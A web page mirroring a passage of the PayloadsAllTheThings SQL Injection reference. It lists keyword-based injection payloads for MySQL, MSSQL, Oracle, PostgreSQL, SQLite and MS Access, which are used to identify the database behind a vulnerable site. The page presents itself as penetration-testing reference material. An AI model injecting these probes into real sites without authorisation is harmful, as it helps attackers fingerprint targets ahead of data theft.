Skip to content

SQL Injection · passage 3 of 186

DBMS Identification Keyword Based

Text · SQL Injection/README.md

Out of date: the sync last ran 4 hours ago. Newer CVEs and scores may be missing from the map.

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

Certain SQL keywords are specific to particular database management systems (DBMS). By using these keywords in SQL injection attempts and observing how the website responds, you can often determine the type of DBMS in use. | DBMS | SQL Payload | | ---------- | ------------------------------------------------- | | MySQL | `conv('a',16,2)=conv('a',16,2)` | | MySQL | `connection_id()=connection_id()` | | MySQL | `crc32('MySQL')=crc32('MySQL')` | | MSSQL | `BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)` | | MSSQL | `@@CONNECTIONS>0` | | MSSQL | `@@CONNECTIONS=@@CONNECTIONS` | | MSSQL | `@@CPU_BUSY=@@CPU_BUSY` | | MSSQL | `USER_ID(1)=USER_ID(1)` | | ORACLE | `ROWNUM=ROWNUM` | | ORACLE | `RAWTOHEX('AB')=RAWTOHEX('AB')` | | ORACLE | `LNNVL(0=123)` | | POSTGRESQL | `5::int=5` | | POSTGRESQL | `5::integer=5` | | POSTGRESQL | `pg_client_encoding()=pg_client_encoding()` | | POSTGRESQL | `get_current_ts_config()=get_current_ts_config()` | | POSTGRESQL | `quote_literal(42.5)=quote_literal(42.5)` | | POSTGRESQL | `current_database()=current_database()` | | SQLITE | `sqlite_version()=sqlite_version()` | | SQLITE | `last_insert_rowid()>1` | | SQLITE | `last_insert_rowid()=last_insert_rowid()` | | MSACCESS | `val(cvar(1))=1` | | MSACCESS | `IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0` |

Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

Updated AboutDevelopersSign in